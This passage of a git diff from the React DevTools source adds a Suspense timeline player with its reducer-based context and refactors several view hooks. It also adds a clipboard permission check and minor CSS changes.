+    const nextSelectedSuspenseID = timeline[timelineIndex - 1].id;
+    treeDispatch({
+      type: 'SELECT_ELEMENT_BY_ID',
+      payload: nextSelectedSuspenseID,
+    });
+    suspenseTreeDispatch({
+      type: 'SUSPENSE_SKIP_TIMELINE_INDEX',
+      payload: false,
+    });
+  }
+
+  function skipForward() {
+    const nextSelectedSuspenseID = timeline[timelineIndex + 1].id;
+    treeDispatch({
+      type: 'SELECT_ELEMENT_BY_ID',
+      payload: nextSelectedSuspenseID,
+    });
+    suspenseTreeDispatch({
+      type: 'SUSPENSE_SKIP_TIMELINE_INDEX',
+      payload: true,
+    });
+  }
+
+  function togglePlaying() {
+    suspenseTreeDispatch({
+      type: 'SUSPENSE_PLAY_PAUSE',
+      payload: 'toggle',
+    });
+  }
+
+  // TODO: useEffectEvent here once it's supported in all versions DevTools supports.
+  // For now we just exclude it from deps since we don't lint those anyway.
+  function changeTimelineIndex(newIndex: number) {
+    const suspendedSetByRendererID = new Map<
+      number,
+      Array<SuspenseNode['id']>,
+    >();
+    // Unsuspend everything by default.
+    // We might not encounter every renderer after the milestone e.g.
+    // if we clicked at the end of the timeline.
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const rendererID of store.rootIDToRendererID.values()) {
+      suspendedSetByRendererID.set(rendererID, []);
+    }
+
+    // Synchronize timeline index with what is resuspended.
+    // We suspend everything after the current selection. The root isn't showing
+    // anything suspended in the root. The step after that should have one less
+    // thing suspended. I.e. the first suspense boundary should be unsuspended
+    // when it's selected. This also lets you show everything in the last step.
+    for (let i = timelineIndex + 1; i < timeline.length; i++) {
+      const step = timeline[i];
+      const {rendererID} = step;
+      const suspendedSetForRendererID =
+        suspendedSetByRendererID.get(rendererID);
+      if (suspendedSetForRendererID === undefined) {
+        throw new Error(
+          `Should have initialized suspended set for renderer ID "${rendererID}" earlier. This is a bug in React DevTools.`,
+        );
+      }
+      suspendedSetForRendererID.push(step.id);
+    }
+
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const [rendererID, suspendedSet] of suspendedSetByRendererID) {
+      bridge.send('overrideSuspenseMilestone', {
+        rendererID,
+        suspendedSet,
+      });
+    }
+  }
+
+  useEffect(() => {
+    changeTimelineIndex(timelineIndex);
+  }, [timelineIndex]);
+
+  useEffect(() => {
+    if (autoScroll.id > 0) {
+      const scrollToId = autoScroll.id;
+      // Consume the scroll ref so that we only trigger this scroll once.
+      autoScroll.id = 0;
+      scrollToHostInstance(scrollToId);
+    }
+  }, [autoScroll]);
+
+  useEffect(() => {
+    if (!playing) {
+      return undefined;
+    }
+    // While playing, advance one step every second.
+    const PLAY_SPEED_INTERVAL = 1000;
+    const timer = setInterval(() => {
+      suspenseTreeDispatch({
+        type: 'SUSPENSE_PLAY_TICK',
+      });
+    }, PLAY_SPEED_INTERVAL);
+    return () => {
+      clearInterval(timer);
+    };
+  }, [playing]);
+
+  if (timeline.length === 0) {
+    return (
+      <div className={styles.SuspenseTimelineInput}>
+        Root contains no Suspense nodes.
+      </div>
+    );
+  }
+
+  return (
+    <>
+      <Button
+        disabled={timelineIndex === 0}
+        title={'Previous'}
+        onClick={skipPrevious}>
+        <ButtonIcon type={'skip-previous'} />
+      </Button>
+      <Button
+        disabled={max === 0 && !playing}
+        title={playing ? 'Pause' : 'Play'}
+        onClick={togglePlaying}>
+        <ButtonIcon type={playing ? 'pause' : 'play'} />
+      </Button>
+      <Button
+        disabled={timelineIndex === max}
+        title={'Next'}
+        onClick={skipForward}>
+        <ButtonIcon type={'skip-next'} />
+      </Button>
+      <div className={styles.SuspenseTimelineInput}>
+        <SuspenseScrubber
+          min={min}
+          max={max}
+          timeline={timeline}
+          value={timelineIndex}
+          highlight={hoveredTimelineIndex}
+          onChange={handleChange}
+          onFocus={handleFocus}
+          onHoverSegment={handleHoverSegment}
+          onHoverLeave={handleUnhoverSegment}
+        />
+      </div>
+    </>
+  );
+}
+
+export default function SuspenseTimeline(): React$Node {
+  return (
+    <div className={styles.SuspenseTimelineContainer}>
+      <SuspenseTimelineInput />
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTreeContext.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTreeContext.js
new file mode 100644
index 000000000000..6cb4eb7a487e
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseTreeContext.js
@@ -0,0 +1,489 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import type {ReactContext} from 'shared/ReactTypes';
+import type {
+  SuspenseNode,
+  SuspenseTimelineStep,
+} from 'react-devtools-shared/src/frontend/types';
+import type Store from '../../store';
+
+import * as React from 'react';
+import {
+  createContext,
+  startTransition,
+  useContext,
+  useEffect,
+  useMemo,
+  useReducer,
+} from 'react';
+import {StoreContext} from '../context';
+
+export type SuspenseTreeState = {
+  lineage: $ReadOnlyArray<SuspenseNode['id']> | null,
+  roots: $ReadOnlyArray<SuspenseNode['id']>,
+  selectedSuspenseID: SuspenseNode['id'] | null,
+  timeline: $ReadOnlyArray<SuspenseTimelineStep>,
+  timelineIndex: number | -1,
+  hoveredTimelineIndex: number | -1,
+  uniqueSuspendersOnly: boolean,
+  playing: boolean,
+  autoSelect: boolean,
+  autoScroll: {id: number}, // Ref that's set to 0 after scrolling once.
+};
+
+type ACTION_SUSPENSE_TREE_MUTATION = {
+  type: 'HANDLE_SUSPENSE_TREE_MUTATION',
+  payload: [Map<SuspenseNode['id'], SuspenseNode['id']>],
+};
+type ACTION_SET_SUSPENSE_LINEAGE = {
+  type: 'SET_SUSPENSE_LINEAGE',
+  payload: SuspenseNode['id'],
+};
+type ACTION_SELECT_SUSPENSE_BY_ID = {
+  type: 'SELECT_SUSPENSE_BY_ID',
+  payload: SuspenseNode['id'],
+};
+type ACTION_SET_SUSPENSE_TIMELINE = {
+  type: 'SET_SUSPENSE_TIMELINE',
+  payload: [
+    $ReadOnlyArray<SuspenseTimelineStep>,
+    // The next Suspense ID to select in the timeline
+    SuspenseNode['id'] | null,
+    // Whether this timeline includes only unique suspenders
+    boolean,
+  ],
+};
+type ACTION_SUSPENSE_SET_TIMELINE_INDEX = {
+  type: 'SUSPENSE_SET_TIMELINE_INDEX',
+  payload: number,
+};
+type ACTION_SUSPENSE_SKIP_TIMELINE_INDEX = {
+  type: 'SUSPENSE_SKIP_TIMELINE_INDEX',
+  payload: boolean,
+};
+type ACTION_SUSPENSE_PLAY_PAUSE = {
+  type: 'SUSPENSE_PLAY_PAUSE',
+  payload: 'toggle' | 'play' | 'pause',
+};
+type ACTION_SUSPENSE_PLAY_TICK = {
+  type: 'SUSPENSE_PLAY_TICK',
+};
+type ACTION_TOGGLE_TIMELINE_FOR_ID = {
+  type: 'TOGGLE_TIMELINE_FOR_ID',
+  payload: SuspenseNode['id'],
+};
+type ACTION_HOVER_TIMELINE_FOR_ID = {
+  type: 'HOVER_TIMELINE_FOR_ID',
+  payload: SuspenseNode['id'],
+};
+
+export type SuspenseTreeAction =
+  | ACTION_SUSPENSE_TREE_MUTATION
+  | ACTION_SET_SUSPENSE_LINEAGE
+  | ACTION_SELECT_SUSPENSE_BY_ID
+  | ACTION_SET_SUSPENSE_TIMELINE
+  | ACTION_SUSPENSE_SET_TIMELINE_INDEX
+  | ACTION_SUSPENSE_SKIP_TIMELINE_INDEX
+  | ACTION_SUSPENSE_PLAY_PAUSE
+  | ACTION_SUSPENSE_PLAY_TICK
+  | ACTION_TOGGLE_TIMELINE_FOR_ID
+  | ACTION_HOVER_TIMELINE_FOR_ID;
+export type SuspenseTreeDispatch = (action: SuspenseTreeAction) => void;
+
+const SuspenseTreeStateContext: ReactContext<SuspenseTreeState> =
+  createContext<SuspenseTreeState>(((null: any): SuspenseTreeState));
+SuspenseTreeStateContext.displayName = 'SuspenseTreeStateContext';
+
+const SuspenseTreeDispatcherContext: ReactContext<SuspenseTreeDispatch> =
+  createContext<SuspenseTreeDispatch>(((null: any): SuspenseTreeDispatch));
+SuspenseTreeDispatcherContext.displayName = 'SuspenseTreeDispatcherContext';
+
+type Props = {
+  children: React$Node,
+};
+
+function getInitialState(store: Store): SuspenseTreeState {
+  const uniqueSuspendersOnly = true;
+  const timeline =
+    store.getEndTimeOrDocumentOrderSuspense(uniqueSuspendersOnly);
+  const timelineIndex = timeline.length - 1;
+  const selectedSuspenseID =
+    timelineIndex === -1 ? null : timeline[timelineIndex].id;
+  const lineage =
+    selectedSuspenseID !== null
+      ? store.getSuspenseLineage(selectedSuspenseID)
+      : [];
+  const initialState: SuspenseTreeState = {
+    selectedSuspenseID,
+    lineage,
+    roots: store.roots,
+    timeline,
+    timelineIndex,
+    hoveredTimelineIndex: -1,
+    uniqueSuspendersOnly,
+    playing: false,
+    autoSelect: true,
+    autoScroll: {id: 0}, // Don't auto-scroll initially
+  };
+
+  return initialState;
+}
+
+function SuspenseTreeContextController({children}: Props): React.Node {
+  const store = useContext(StoreContext);
+  // This reducer is created inline because it needs access to the Store.
+  // The store is mutable, but the Store itself is global and lives for the lifetime of the DevTools,
+  // so it's okay for the reducer to have an empty dependencies array.
+  const reducer = useMemo(
+    () =>
+      (
+        state: SuspenseTreeState,
+        action: SuspenseTreeAction,
+      ): SuspenseTreeState => {
+        switch (action.type) {
+          case 'HANDLE_SUSPENSE_TREE_MUTATION': {
+            let {selectedSuspenseID} = state;
+            // If the currently-selected Element has been removed from the tree, update selection state.
+            const removedIDs = action.payload[0];
+            // Find the closest parent that wasn't removed during this batch.
+            // We deduce the parent-child mapping from removedIDs (id -> parentID)
+            // because by now it's too late to read them from the store.
+
+            while (
+              selectedSuspenseID !== null &&
+              removedIDs.has(selectedSuspenseID)
+            ) {
+              // $FlowExpectedError[incompatible-type]
+              selectedSuspenseID = removedIDs.get(selectedSuspenseID);
+            }
+            if (selectedSuspenseID === 0) {
+              // The whole root was removed.
+              selectedSuspenseID = null;
+            }
+
+            const selectedTimelineStep =
+              state.timeline === null || state.timelineIndex === -1
+                ? null
+                : state.timeline[state.timelineIndex];
+            let selectedTimelineID: null | number = null;
+            if (selectedTimelineStep !== null) {
+              selectedTimelineID = selectedTimelineStep.id;
+              // $FlowFixMe
+              while (removedIDs.has(selectedTimelineID)) {
+                // $FlowFixMe
+                selectedTimelineID = removedIDs.get(selectedTimelineID);
+              }
+            }
+
+            // TODO: Handle different timeline modes (e.g. random order)
+            const nextTimeline = store.getEndTimeOrDocumentOrderSuspense(
+              state.uniqueSuspendersOnly,
+            );
+
+            let nextTimelineIndex = -1;
+            if (selectedTimelineID !== null && nextTimeline.length !== 0) {
+              for (let i = 0; i < nextTimeline.length; i++) {
+                if (nextTimeline[i].id === selectedTimelineID) {
+                  nextTimelineIndex = i;
+                  break;
+                }
+              }
+            }
+            if (
+              nextTimeline.length > 0 &&
+              (nextTimelineIndex === -1 || state.autoSelect)
+            ) {
+              nextTimelineIndex = nextTimeline.length - 1;
+              selectedSuspenseID = nextTimeline[nextTimelineIndex].id;
+            }
+
+            if (selectedSuspenseID === null && nextTimeline.length > 0) {
+              selectedSuspenseID = nextTimeline[nextTimeline.length - 1].id;
+            }
+
+            const nextLineage =
+              selectedSuspenseID !== null &&
+              state.selectedSuspenseID !== selectedSuspenseID
+                ? store.getSuspenseLineage(selectedSuspenseID)
+                : state.lineage;
+
+            return {
+              ...state,
+              lineage: nextLineage,
+              roots: store.roots,
+              selectedSuspenseID,
+              timeline: nextTimeline,
+              timelineIndex: nextTimelineIndex,
+            };
+          }
+          case 'SELECT_SUSPENSE_BY_ID': {
+            const selectedSuspenseID = action.payload;
+
+            return {
+              ...state,
+              selectedSuspenseID,
+              playing: false, // pause
+              autoSelect: false,
+              autoScroll: {id: selectedSuspenseID}, // scroll
+            };
+          }
+          case 'SET_SUSPENSE_LINEAGE': {
+            const suspenseID = action.payload;
+            const lineage = store.getSuspenseLineage(suspenseID);
+
+            return {
+              ...state,
+              lineage,
+              selectedSuspenseID: suspenseID,
+              playing: false, // pause
+              autoSelect: false,
+            };
+          }
+          case 'SET_SUSPENSE_TIMELINE': {
+            const previousMilestoneIndex = state.timelineIndex;
+            const previousTimeline = state.timeline;
+            const nextTimeline = action.payload[0];
+            const nextRootID: SuspenseNode['id'] | null = action.payload[1];
+            const nextUniqueSuspendersOnly = action.payload[2];
+            let nextLineage = state.lineage;
+            let nextMilestoneIndex: number | -1 = -1;
+            let nextSelectedSuspenseID = state.selectedSuspenseID;
+            // Action has indicated it has no preference for the selected Node.
+            // Try to reconcile the new timeline with the previous index.
+            if (
+              nextRootID === null &&
+              previousTimeline !== null &&
+              previousMilestoneIndex !== null
+            ) {
+              const previousMilestoneID =
+                previousTimeline[previousMilestoneIndex];
+              nextMilestoneIndex = nextTimeline.indexOf(previousMilestoneID);
+              if (nextMilestoneIndex === -1 && nextTimeline.length > 0) {
+                nextMilestoneIndex = nextTimeline.length - 1;
+                nextSelectedSuspenseID = nextTimeline[nextMilestoneIndex].id;
+                nextLineage = store.getSuspenseLineage(nextSelectedSuspenseID);
+              }
+            } else if (nextRootID !== null) {
+              nextMilestoneIndex = nextTimeline.length - 1;
+              nextSelectedSuspenseID = nextTimeline[nextMilestoneIndex].id;
+              nextLineage = store.getSuspenseLineage(nextSelectedSuspenseID);
+            }
+
+            return {
+              ...state,
+              selectedSuspenseID: nextSelectedSuspenseID,
+              lineage: nextLineage,
+              timeline: nextTimeline,
+              timelineIndex: nextMilestoneIndex,
+              uniqueSuspendersOnly: nextUniqueSuspendersOnly,
+            };
+          }
+          case 'SUSPENSE_SET_TIMELINE_INDEX': {
+            const nextTimelineIndex = action.payload;
+            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;
+            const nextLineage = store.getSuspenseLineage(
+              nextSelectedSuspenseID,
+            );
+
+            return {
+              ...state,
+              lineage: nextLineage,
+              selectedSuspenseID: nextSelectedSuspenseID,
+              timelineIndex: nextTimelineIndex,
+              playing: false, // pause
+              autoSelect: false,
+              autoScroll: {id: nextSelectedSuspenseID}, // scroll
+            };
+          }
+          case 'SUSPENSE_SKIP_TIMELINE_INDEX': {
+            const direction = action.payload;
+            const nextTimelineIndex =
+              state.timelineIndex + (direction ? 1 : -1);
+            if (
+              nextTimelineIndex < 0 ||
+              nextTimelineIndex > state.timeline.length - 1
+            ) {
+              return state;
+            }
+            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;
+            const nextLineage = store.getSuspenseLineage(
+              nextSelectedSuspenseID,
+            );
+            return {
+              ...state,
+              lineage: nextLineage,
+              selectedSuspenseID: nextSelectedSuspenseID,
+              timelineIndex: nextTimelineIndex,
+              playing: false, // pause
+              autoSelect: false,
+              autoScroll: {id: nextSelectedSuspenseID}, // scroll
+            };
+          }
+          case 'SUSPENSE_PLAY_PAUSE': {
+            const mode = action.payload;
+
+            let nextTimelineIndex = state.timelineIndex;
+            let nextSelectedSuspenseID = state.selectedSuspenseID;
+            let nextLineage = state.lineage;
+
+            if (
+              !state.playing &&
+              mode !== 'pause' &&
+              nextTimelineIndex === state.timeline.length - 1
+            ) {
+              // If we're restarting at the end. Then loop around and start again from the beginning.
+              nextTimelineIndex = 0;
+              nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;
+              nextLineage = store.getSuspenseLineage(nextSelectedSuspenseID);
+            }
+
+            return {
+              ...state,
+              lineage: nextLineage,
+              selectedSuspenseID: nextSelectedSuspenseID,
+              timelineIndex: nextTimelineIndex,
+              playing: mode === 'toggle' ? !state.playing : mode === 'play',
+              autoSelect: false,
+            };
+          }
+          case 'SUSPENSE_PLAY_TICK': {
+            if (!state.playing) {
+              // We stopped but haven't yet cleaned up the callback. Noop.
+              return state;
+            }
+            // Advance time
+            const nextTimelineIndex = state.timelineIndex + 1;
+            if (nextTimelineIndex > state.timeline.length - 1) {
+              return state;
+            }
+            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;
+            const nextLineage = store.getSuspenseLineage(
+              nextSelectedSuspenseID,
+            );
+            // Stop once we reach the end.
+            const nextPlaying = nextTimelineIndex < state.timeline.length - 1;
+            return {
+              ...state,
+              lineage: nextLineage,
+              selectedSuspenseID: nextSelectedSuspenseID,
+              timelineIndex: nextTimelineIndex,
+              playing: nextPlaying,
+              autoScroll: {id: nextSelectedSuspenseID}, // scroll
+            };
+          }
+          case 'TOGGLE_TIMELINE_FOR_ID': {
+            const suspenseID = action.payload;
+
+            let timelineIndexForSuspenseID = -1;
+            for (let i = 0; i < state.timeline.length; i++) {
+              if (state.timeline[i].id === suspenseID) {
+                timelineIndexForSuspenseID = i;
+                break;
+              }
+            }
+            if (timelineIndexForSuspenseID === -1) {
+              // This boundary is no longer in the timeline.
+              return state;
+            }
+            const nextTimelineIndex =
+              timelineIndexForSuspenseID === 0
+                ? // For roots, there's no toggling. It's always just jump to beginning.
+                  0
+                : // For boundaries, we'll either jump to before or after its reveal depending
+                  // on if we're currently displaying it or not according to the timeline.
+                  state.timelineIndex < timelineIndexForSuspenseID
+                  ? // We're currently before this suspense boundary has been revealed so we
+                    // should jump ahead to reveal it.
+                    timelineIndexForSuspenseID
+                  : // Otherwise, if we're currently showing it, jump to right before to hide it.
+                    timelineIndexForSuspenseID - 1;
+            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;
+            const nextLineage = store.getSuspenseLineage(
+              nextSelectedSuspenseID,
+            );
+            return {
+              ...state,
+              lineage: nextLineage,
+              selectedSuspenseID: nextSelectedSuspenseID,
+              timelineIndex: nextTimelineIndex,
+              playing: false, // pause
+              autoSelect: false,
+              autoScroll: {id: nextSelectedSuspenseID},
+            };
+          }
+          case 'HOVER_TIMELINE_FOR_ID': {
+            const suspenseID = action.payload;
+            let timelineIndexForSuspenseID = -1;
+            for (let i = 0; i < state.timeline.length; i++) {
+              if (state.timeline[i].id === suspenseID) {
+                timelineIndexForSuspenseID = i;
+                break;
+              }
+            }
+            return {
+              ...state,
+              hoveredTimelineIndex: timelineIndexForSuspenseID,
+            };
+          }
+          default:
+            throw new Error(`Unrecognized action "${action.type}"`);
+        }
+      },
+    [],
+  );
+
+  const [state, dispatch] = useReducer(reducer, store, getInitialState);
+
+  const initialRevision = useMemo(() => store.revisionSuspense, [store]);
+  // We're currently storing everything Suspense related in the same Store as
+  // Components. However, most reads are currently stateless. This ensures
+  // the latest state is always read from the Store.
+  useEffect(() => {
+    const handleSuspenseTreeMutated = ([removedElementIDs]: [
+      Map<number, number>,
+    ]) => {
+      dispatch({
+        type: 'HANDLE_SUSPENSE_TREE_MUTATION',
+        payload: [removedElementIDs],
+      });
+    };
+
+    // Since this is a passive effect, the tree may have been mutated before our initial subscription.
+    if (store.revisionSuspense !== initialRevision) {
+      // At the moment, we can treat this as a mutation.
+      handleSuspenseTreeMutated([new Map()]);
+    }
+
+    store.addListener('suspenseTreeMutated', handleSuspenseTreeMutated);
+    return () =>
+      store.removeListener('suspenseTreeMutated', handleSuspenseTreeMutated);
+  }, [initialRevision, store]);
+
+  const transitionDispatch = useMemo(
+    () => (action: SuspenseTreeAction) =>
+      startTransition(() => {
+        dispatch(action);
+      }),
+    [dispatch],
+  );
+
+  return (
+    <SuspenseTreeStateContext.Provider value={state}>
+      <SuspenseTreeDispatcherContext.Provider value={transitionDispatch}>
+        {children}
+      </SuspenseTreeDispatcherContext.Provider>
+    </SuspenseTreeStateContext.Provider>
+  );
+}
+
+export {
+  SuspenseTreeDispatcherContext,
+  SuspenseTreeStateContext,
+  SuspenseTreeContextController,
+};
diff --git a/packages/react-devtools-shared/src/devtools/views/Toggle.css b/packages/react-devtools-shared/src/devtools/views/Toggle.css
index 85cfe09f81ff..1cb6450f748f 100644
--- a/packages/react-devtools-shared/src/devtools/views/Toggle.css
+++ b/packages/react-devtools-shared/src/devtools/views/Toggle.css
@@ -20,10 +20,17 @@
   background: var(--color-button-background);
   color: var(--color-button);
 }
+
 .ToggleOff:hover {
   color: var(--color-button-hover);
 }
 
+.ToggleOn:hover,
+.ToggleOff:hover {
+ background-color: var(--color-button-background-hover);
+}
+
+
 .ToggleOn,
 .ToggleOn:active {
   color: var(--color-button-active);
diff --git a/packages/react-devtools-shared/src/devtools/views/UnsupportedBridgeProtocolDialog.js b/packages/react-devtools-shared/src/devtools/views/UnsupportedBridgeProtocolDialog.js
index 425dfe1d08c1..7bfd86fb9c19 100644
--- a/packages/react-devtools-shared/src/devtools/views/UnsupportedBridgeProtocolDialog.js
+++ b/packages/react-devtools-shared/src/devtools/views/UnsupportedBridgeProtocolDialog.js
@@ -16,6 +16,7 @@ import Button from './Button';
 import ButtonIcon from './ButtonIcon';
 import {copy} from 'clipboard-js';
 import styles from './UnsupportedBridgeProtocolDialog.css';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import type {BridgeProtocol} from 'react-devtools-shared/src/bridge';
 
@@ -82,7 +83,10 @@ function DialogContent({
         <pre className={styles.NpmCommand}>
           {upgradeInstructions}
           <Button
-            onClick={() => copy(upgradeInstructions)}
+            onClick={withPermissionsCheck(
+              {permissions: ['clipboardWrite']},
+              () => copy(upgradeInstructions),
+            )}
             title="Copy upgrade command to clipboard">
             <ButtonIcon type="copy" />
           </Button>
@@ -99,7 +103,10 @@ function DialogContent({
         <pre className={styles.NpmCommand}>
           {downgradeInstructions}
           <Button
-            onClick={() => copy(downgradeInstructions)}
+            onClick={withPermissionsCheck(
+              {permissions: ['clipboardWrite']},
+              () => copy(downgradeInstructions),
+            )}
             title="Copy downgrade command to clipboard">
             <ButtonIcon type="copy" />
           </Button>
diff --git a/packages/react-devtools-shared/src/devtools/views/UnsupportedVersionDialog.js b/packages/react-devtools-shared/src/devtools/views/UnsupportedVersionDialog.js
index 7f2421893003..717019df431a 100644
--- a/packages/react-devtools-shared/src/devtools/views/UnsupportedVersionDialog.js
+++ b/packages/react-devtools-shared/src/devtools/views/UnsupportedVersionDialog.js
@@ -9,7 +9,6 @@
 
 import * as React from 'react';
 import {Fragment, useContext, useEffect, useState} from 'react';
-import {unstable_batchedUpdates as batchedUpdates} from 'react-dom';
 import {ModalDialogContext} from './ModalDialog';
 import {StoreContext} from './context';
 import {UNSUPPORTED_VERSION_URL} from '../constants';
@@ -26,14 +25,12 @@ export default function UnsupportedVersionDialog(_: {}): null {
   useEffect(() => {
     if (state === 'dialog-not-shown') {
       const showDialog = () => {
-        batchedUpdates(() => {
-          setState('show-dialog');
-          dispatch({
-            canBeDismissed: true,
-            id: 'UnsupportedVersionDialog',
-            type: 'SHOW',
-            content: <DialogContent />,
-          });
+        setState('show-dialog');
+        dispatch({
+          canBeDismissed: true,
+          id: 'UnsupportedVersionDialog',
+          type: 'SHOW',
+          content: <DialogContent />,
         });
       };
 
diff --git a/packages/react-devtools-shared/src/devtools/views/hooks.js b/packages/react-devtools-shared/src/devtools/views/hooks.js
index 54d22b23dd02..c5e426e7a622 100644
--- a/packages/react-devtools-shared/src/devtools/views/hooks.js
+++ b/packages/react-devtools-shared/src/devtools/views/hooks.js
@@ -7,13 +7,13 @@
  * @flow
  */
 
-import throttle from 'lodash.throttle';
 import {
   useCallback,
   useEffect,
   useLayoutEffect,
   useReducer,
   useState,
+  useSyncExternalStore,
   useContext,
 } from 'react';
 import {
@@ -112,32 +112,38 @@ export function useEditableValue(
 }
 
 export function useIsOverflowing(
-  containerRef: {current: HTMLDivElement | null, ...},
+  containerRef: {current: HTMLDivElement | null},
   totalChildWidth: number,
 ): boolean {
   const [isOverflowing, setIsOverflowing] = useState<boolean>(false);
 
   // It's important to use a layout effect, so that we avoid showing a flash of overflowed content.
   useLayoutEffect(() => {
-    if (containerRef.current === null) {
-      return () => {};
+    const container = containerRef.current;
+    if (container === null) {
+      return;
     }
 
-    const container = ((containerRef.current: any): HTMLDivElement);
-
-    const handleResize = throttle(
-      () => setIsOverflowing(container.clientWidth <= totalChildWidth),
-      100,
-    );
+    // ResizeObserver on the global did not fire for the extension.
+    // We need to grab the ResizeObserver from the container's window.
+    const ResizeObserver = container.ownerDocument.defaultView.ResizeObserver;
+    const observer = new ResizeObserver(entries => {
+      const entry = entries[0];
+      const contentWidth = entry.contentRect.width;
+      setIsOverflowing(
+        contentWidth <=
+          // We need to treat the box as overflowing when you're just
+          // about to overflow.
+          // Otherwise you won't be able to resize panes with custom resize handles.
+          // Previously we were relying on clientWidth which is already rounded.
+          // We don't want to read that again since that would trigger another layout.
+          totalChildWidth + 1,
+      );
+    });
 
-    handleResize();
+    observer.observe(container);
 
-    // It's important to listen to the ownerDocument.defaultView to support the browser extension.
-    // Here we use portals to render individual tabs (e.g. Profiler),
-    // and the root document might belong to a different window.
-    const ownerWindow = container.ownerDocument.defaultView;
-    ownerWindow.addEventListener('resize', handleResize);
-    return () => ownerWindow.removeEventListener('resize', handleResize);
+    return observer.disconnect.bind(observer);
   }, [containerRef, totalChildWidth]);
 
   return isOverflowing;
@@ -165,14 +171,24 @@ export function useLocalStorage<T>(
     }
   }, [initialValue, key]);
 
-  const [storedValue, setStoredValue] = useState<any>(getValueFromLocalStorage);
+  const storedValue = useSyncExternalStore(
+    useCallback(
+      function subscribe(callback) {
+        window.addEventListener(key, callback);
+        return function unsubscribe() {
+          window.removeEventListener(key, callback);
+        };
+      },
+      [key],
+    ),
+    getValueFromLocalStorage,
+  );
 
   const setValue = useCallback(
     (value: $FlowFixMe) => {
       try {
         const valueToStore =
           value instanceof Function ? (value: any)(storedValue) : value;
-        setStoredValue(valueToStore);
         localStorageSetItem(key, JSON.stringify(valueToStore));
 
         // Notify listeners that this setting has changed.
@@ -189,7 +205,7 @@ export function useLocalStorage<T>(
   );
 
   // Listen for changes to this local storage value made from other windows.
-  // This enables the e.g. "⚛️ Elements" tab to update in response to changes from "⚛️ Settings".
+  // This enables the e.g. "⚛ Elements" tab to update in response to changes from "⚛ Settings".
   useLayoutEffect(() => {
     // $FlowFixMe[missing-local-annot]
     const onStorage = event => {
@@ -200,7 +216,6 @@ export function useLocalStorage<T>(
     };
 
     window.addEventListener('storage', onStorage);
-
     return () => {
       window.removeEventListener('storage', onStorage);
     };
@@ -336,37 +351,86 @@ export function useSubscription<Value>({
   return state.value;
 }
 
-export function useHighlightNativeElement(): {
-  clearHighlightNativeElement: () => void,
-  highlightNativeElement: (id: number) => void,
+export function useHighlightHostInstance(): {
+  clearHighlightHostInstance: () => void,
+  highlightHostInstance: (id: number, scrollIntoView?: boolean) => void,
 } {
   const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
 
-  const highlightNativeElement = useCallback(
+  const highlightHostInstance = useCallback(
+    (id: number, scrollIntoView?: boolean = false) => {
+      const element = store.getElementByID(id);
+      if (element !== null) {
+        const isRoot = element.parentID === 0;
+        let displayName = element.displayName;
+        if (displayName !== null && element.nameProp !== null) {
+          displayName += ` name="${element.nameProp}"`;
+        }
+        if (isRoot) {
+          // Inspect screen
+          const elements: Array<{rendererID: number, id: number}> = [];
+
+          for (let i = 0; i < store.roots.length; i++) {
+            const rootID = store.roots[i];
+            const rendererID = store.getRendererIDForElement(rootID);
+            if (rendererID === null) {
+              continue;
+            }
+            elements.push({rendererID, id: rootID});
+          }
+
+          bridge.send('highlightHostInstances', {
+            displayName,
+            hideAfterTimeout: false,
+            elements,
+            scrollIntoView: scrollIntoView,
+          });
+        } else {
+          const rendererID = store.getRendererIDForElement(id);
+          if (rendererID !== null) {
+            bridge.send('highlightHostInstance', {
+              displayName,
+              hideAfterTimeout: false,
+              id,
+              openBuiltinElementsPanel: false,
+              rendererID,
+              scrollIntoView: scrollIntoView,
+            });
+          }
+        }
+      }
+    },
+    [store, bridge],
+  );
+
+  const clearHighlightHostInstance = useCallback(() => {
+    bridge.send('clearHostInstanceHighlight');
+  }, [bridge]);
+
+  return {
+    highlightHostInstance,
+    clearHighlightHostInstance,
+  };
+}
+
+export function useScrollToHostInstance(): (id: number) => void {
+  const bridge = useContext(BridgeContext);
+  const store = useContext(StoreContext);
+
+  const scrollToHostInstance = useCallback(
     (id: number) => {
       const element = store.getElementByID(id);
       const rendererID = store.getRendererIDForElement(id);
       if (element !== null && rendererID !== null) {
-        bridge.send('highlightNativeElement', {
-          displayName: element.displayName,
-          hideAfterTimeout: false,
+        bridge.send('scrollToHostInstance', {
           id,
-          openNativeElementsPanel: false,
           rendererID,
-          scrollIntoView: false,
         });
       }
     },
     [store, bridge],
   );
 
-  const clearHighlightNativeElement = useCallback(() => {
-    bridge.send('clearNativeElementHighlight');
-  }, [bridge]);
-
-  return {
-    highlightNativeElement,
-    clearHighlightNativeElement,
-  };
+  return scrollToHostInstance;
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/portaledContent.js b/packages/react-devtools-shared/src/devtools/views/portaledContent.js
index efd0a4e30d27..ad0ef8e5f0bc 100644
--- a/packages/react-devtools-shared/src/devtools/views/portaledContent.js
+++ b/packages/react-devtools-shared/src/devtools/views/portaledContent.js
@@ -17,8 +17,8 @@ import ThemeProvider from './ThemeProvider';
 export type Props = {portalContainer?: Element, ...};
 
 export default function portaledContent(
-  Component: React$AbstractComponent<any>,
-): React$AbstractComponent<any> {
+  Component: component(...props: any),
+): component(...props: any) {
   return function PortaledContent({portalContainer, ...rest}: Props) {
     const store = useContext(StoreContext);
 
@@ -36,7 +36,12 @@ export default function portaledContent(
         <ThemeProvider>
           <div
             data-react-devtools-portal-root={true}
-            style={{width: '100vw', height: '100vh'}}>
+            style={{
+              width: '100vw',
+              height: '100vh',
+              containerName: 'devtools',
+              containerType: 'inline-size',
+            }}>
             {children}
           </div>
         </ThemeProvider>
